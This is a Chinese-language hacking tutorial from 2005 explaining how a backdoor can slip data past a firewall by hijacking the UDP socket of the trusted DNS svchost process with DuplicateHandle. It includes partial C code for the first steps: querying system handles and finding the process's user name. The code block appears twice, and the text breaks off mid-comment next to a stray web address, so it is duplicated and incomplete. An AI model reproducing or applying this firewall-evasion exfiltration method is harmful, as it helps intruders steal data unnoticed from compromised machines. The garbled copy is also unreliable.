使用该技术背景:
在目标主机安放后门,需要将数据传输出去,同时数据很重要,动作不能太大.其他情况"严重"不推荐使用该技术(后面我会讲到为什么).
针对目前防火墙的一些情况,如果自己的进程开一个端口(甚至是新建套接字)肯定被拦.
相反,有一点我们也很清楚:被防火墙验证的进程在传送数据时永远不会被拦.所以,我的思路很简单:
将其他进程中允许数据传输的套接字句柄拿为已用.过程如下:
1. 找出目标进程
2. 找出SOCKET句柄
2. 用DuplicateHandle()函数将其SOCKET转换为能被自己使用.
3. 用转换后的SOCKET进行数据传输
上面的过程写的很简单,但是实际实现起来还是存在一些问题(后面再做讨论).而且从上面的实现方法也
可以看出一些不爽的地方:在目标进程的SOCKET不能是TCP,因为TCP的句柄已经跟外面建立了连接,所以只能是UDP.
针对不同系统不同进程我们很难定位一个稳定的进程SOCKET.
看到上面这些,你有点丧气了对不对,哈哈. 再想一想,其实我们有一条真正的通罗马的"黄金大道".
我们知道只要一台计算机连上了网络,那么有一种数据传输是肯定不会被拦截的,那就是DNS.你能想像域名解析数据都被
拦了造成的结果吗? 嘿嘿, 既然这个是永远不会被拦的, 而且它又是UDP传输, 我们就拿他开刀...
下面是通过直接控制DNS进程(其实也就是svchost.exe,不过对应用户名是NETWORK SERVICE)进行数据传输的例子.
编程中出现了很多问题,比方说获取svchost对应用户名时没有权限(但是能够操作LOCAL SERVICE),在句柄值为0x2c时进行getsockname时会停止运行等等.
具体解决方法请细看注释部分...
CODE:
/*++
Made By ZwelL
[email]zwell@sohu.com[/email]
2005.4.12
--*/
#include <winsock2.h>
#include <stdio.h>
#include <wtsapi32.h>
#pragma comment(lib, "ws2_32")
#pragma comment(lib, "wtsapi32")
#define NT_SUCCESS(status) ((NTSTATUS)(status)>=0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedef LONG NTSTATUS;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
BOOL LocateNtdllEntry ( void )
{
BOOL ret = FALSE;
char NTDLL_DLL[] = "ntdll.dll";
HMODULE ntdll_dll = NULL;
if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
{
printf( "GetModuleHandle() failed");
return( FALSE );
}
if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) )
{
goto LocateNtdllEntry_exit;
}
ret = TRUE;
LocateNtdllEntry_exit:
if ( FALSE == ret )
{
printf( "GetProcAddress() failed");
}
ntdll_dll = NULL;
return( ret );
}
/*++
This routine is used to get a process''s username from it''s SID
--*/
BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)
{
// sanity checks and default value
if (pUserSid == NULL)
return false;
strcpy(szUserName, "?");
SID_NAME_USE snu;
TCHAR szUser[_MAX_PATH];
DWORD chUser = _MAX_PATH;
PDWORD pcchUser = &chUser;
TCHAR szDomain[_MAX_PATH];
DWORD chDomain = _MAX_PATH;
PDWORD pcchDomain = &chDomain;
// Retrieve user name and domain name based on user''s SID.
if (
::LookupAccountSid(
NULL,
pUserSid,
szUser,
pcchUser,
szDomain,
pcchDomain,
&snu
)
)
{
wsprintf(szUserName, "%s", szUser);
}
else
{
return false;
}
return true;
}
/*++
This routine is used to get the DNS process''s Id
Here, I use WTSEnumerateProcesses to get process user Sid,
and then get the process user name. Beacause as it''s a "NETWORK SERVICE",
we cann''t use OpenProcessToken to catch the DNS process''s token information,
even if we has the privilege in catching the SYSTEM''s.
--*/http://netadmin.77169.com/HTML/20061027211048_2.html
Made By ZwelL
[email]zwell@sohu.com[/email]
2005.4.12
--*/
#include <winsock2.h>
#include <stdio.h>
#include <wtsapi32.h>
#pragma comment(lib, "ws2_32")
#pragma comment(lib, "wtsapi32")
#define NT_SUCCESS(status) ((NTSTATUS)(status)>=0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedef LONG NTSTATUS;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
BOOL LocateNtdllEntry ( void )
{
BOOL ret = FALSE;
char NTDLL_DLL[] = "ntdll.dll";
HMODULE ntdll_dll = NULL;
if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
{
printf( "GetModuleHandle() failed");
return( FALSE );
}
if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) )
{
goto LocateNtdllEntry_exit;
}
ret = TRUE;
LocateNtdllEntry_exit:
if ( FALSE == ret )
{
printf( "GetProcAddress() failed");
}
ntdll_dll = NULL;
return( ret );
}
/*++
This routine is used to get a process''s username from it''s SID
--*/
BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)
{
// sanity checks and default value
if (pUserSid == NULL)
return false;
strcpy(szUserName, "?");
SID_NAME_USE snu;
TCHAR szUser[_MAX_PATH];
DWORD chUser = _MAX_PATH;
PDWORD pcchUser = &chUser;
TCHAR szDomain[_MAX_PATH];
DWORD chDomain = _MAX_PATH;
PDWORD pcchDomain = &chDomain;
// Retrieve user name and domain name based on user''s SID.
if (
::LookupAccountSid(
NULL,
pUserSid,
szUser,
pcchUser,
szDomain,
pcchDomain,
&snu
)
)
{
wsprintf(szUserName, "%s", szUser);
}
else
{
return false;
}
return true;
}
/*++
This routine is used to get the DNS process''s Id
Here, I use WTSEnumerateProcesses to get process user Sid,
and then get the process user name. Beacause as it''s a "NETWORK SERVICE",
we cann''t use OpenProcessToken to catch the DNS process''s token information,
even if we has the privilege in catching the SYSTEM''s.
--*/http://netadmin.77169.com/HTML/20061027211048_2.html
